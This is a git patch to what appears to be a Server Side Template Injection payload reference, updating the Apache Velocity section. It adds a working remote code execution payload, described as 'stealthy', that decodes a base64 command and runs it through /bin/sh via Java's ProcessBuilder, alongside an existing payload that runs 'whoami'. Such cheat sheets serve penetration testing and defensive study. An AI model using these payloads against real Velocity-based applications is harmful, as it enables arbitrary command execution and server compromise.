From edbf3386a3df4d7b96512e9fb35a30238971e2a6 Mon Sep 17 00:00:00 2001
From: n3rada <72791564+n3rada@users.noreply.github.com>
Date: Mon, 21 Jul 2025 18:33:56 +0200
Subject: [PATCH] Update Java.md

---
 Server Side Template Injection/Java.md | 32 ++++++++++++++++++++++++--
 1 file changed, 30 insertions(+), 2 deletions(-)

diff --git a/Server Side Template Injection/Java.md b/Server Side Template Injection/Java.md
index bb6b57dc..1c19cf10 100644
--- a/Server Side Template Injection/Java.md	
+++ b/Server Side Template Injection/Java.md	
@@ -211,9 +211,10 @@ New version of Pebble :
 
 [Official website](https://velocity.apache.org/engine/1.7/user-guide.html)
 
-> Velocity is a Java-based template engine. It permits web page designers to reference methods defined in Java code.
+> Apache Velocity is a Java-based template engine that allows web designers to embed Java code references directly within templates.
 
-```python
+In a vulnerable environment, Velocity's expression language can be abused to achieve remote code execution (RCE). For example, this payload executes the whoami command and prints the result:
+```java
 #set($str=$class.inspect("java.lang.String").type)
 #set($chr=$class.inspect("java.lang.Character").type)
 #set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
@@ -224,6 +225,33 @@ $str.valueOf($chr.toChars($out.read()))
 #end
 ```
 
+A more flexible and stealthy payload that supports base64-encoded commands, allowing execution of arbitrary shell commands such as `echo "a" > /tmp/a`. Below is an example with `whoami` in base64:
+```java
+#set($base64 = 'd2hvYW1p')
+#set($c = $CUSTOMER_CIVILITY.getClass())
+#set($Base64 = $c.forName("java.util.Base64"))
+#set($Decoder = $Base64.getMethod("getDecoder").invoke(null))
+#set($bytes = $Decoder.decode("$base64"))
+
+#set($StringCl = $c.forName("java.lang.String"))
+#set($cmd = $StringCl.getConstructor($c.forName("[B"), $c.forName("java.lang.String")).newInstance($bytes, "UTF-8"))
+
+#set($params = ["/bin/sh", "-c", $cmd])
+#set($pbCl = $c.forName("java.lang.ProcessBuilder"))
+#set($pb = $pbCl.getConstructor($c.forName("java.util.List")).newInstance($params))
+#set($pb = $pb.redirectErrorStream(true))
+#set($p = $pb.start())
+#set($exit = $p.waitFor())
+
+#set($is = $p.getInputStream())
+#set($sc = $c.forName("java.util.Scanner"))
+#set($s = $sc.getConstructor($c.forName("java.io.InputStream")).newInstance($is))
+#set($sDelimiter = $s.useDelimiter("\\A"))
+#if($s.hasNext())
+#set($out = $s.next().trim())
+$out.replaceAll("\\s+$", "").replaceAll("^\\s+", "")
+#end
+```
 ---
 
 ## Groovy